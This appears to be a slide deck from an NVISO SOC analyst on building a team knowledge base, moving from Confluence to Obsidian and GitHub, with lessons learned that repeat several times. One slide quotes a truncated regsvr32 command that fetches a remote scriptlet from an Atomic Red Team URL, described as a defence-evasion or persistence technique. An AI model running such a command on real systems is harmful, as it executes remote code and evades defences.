Nicholas is SOC Analyst, working in the NVISO NITRO MDR team.

Next to his professional activities at NVISO, Nicholas also hosts a forum for students & alumni where they can share knowledge, stories, job offers and much more with each other.

Nicholas is a self-proclaimed data hoarder and has helped build out the knowledgebase & training documents of the NVISO SOC.
Some of the ideas we would want to implement in the future.

The lessons we learned by making mistakes and fixing them.

Some changes to our initial ideas when we obtained new tools and learned to work with them.

What actions we took to build out our knowledgebase.

Story Time with NVISO

Changing Our Tactics

Lessons Learned

Some of the ideas we would want to implement in the future.

What Would We Do Different?

www.nviso.eu
An empty space with a lot of dust
Confluence

- Loose pages everywhere
- Old and outdated documents
- No goals
- No structure
First steps

1. Define goal
2. Prioritize
3. One topic
4. One user
Define your goal

**What**
What do you need to document

**Why**
Why do you want your documentation

**How**
What program / knowledge base are you going to use
Prioritize

What?
Chose one topic

priority's
1
2
3
I choose you!
Yet another meeting

- Document
- Validate
- Clean up
- Review
- Explain
Changing Tactics
Searching Using OCR

Meant for investigations

Great tool for a dynamic knowledgebase
Can be used to evade defensive countermeasures or to hide as a persistence mechanism:

```
cmd.exe /c echo regsvr32.exe /s /u ^/https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atom...
```
Lessons Learned
You don’t have to plan everything from the start

Focus on the present

Is it usable?

Document as much or as little as needed -> get to the point

Make it fun / team event

Change is good

Revisit every 3-4 months

Focus on the present

Make it fun / team event

Change is good

Revisit every 3-4 months

You don’t have to plan everything from the start

Is it usable?

Document as much or as little as needed -> get to the point

Focus on the present

Make it fun / team event

Change is good

Revisit every 3-4 months

You don’t have to plan everything from the start

Is it usable?

Document as much or as little as needed -> get to the point

Focus on the present

Make it fun / team event

Change is good

Revisit every 3-4 months

You don’t have to plan everything from the start

Is it usable?

Document as much or as little as needed -> get to the point
Doing It Different
Obsidian

https://obsidian.md/

- Markdown
- Local or cloud
- Backlinks
- Mind map graphs
- Plug-ins
- VS-code for Markdown
Why Obsidian?

- Open format
- Plugins
- No overhead
- Easy to work with
- Linking pages together
- Copy-paste actually keeps format
- Easy Paste of images
Obsidian + Github

- Version control
- Easy sharable
- Github pages + Markdown
- Code & notes in 1 location
Thank You

Any questions?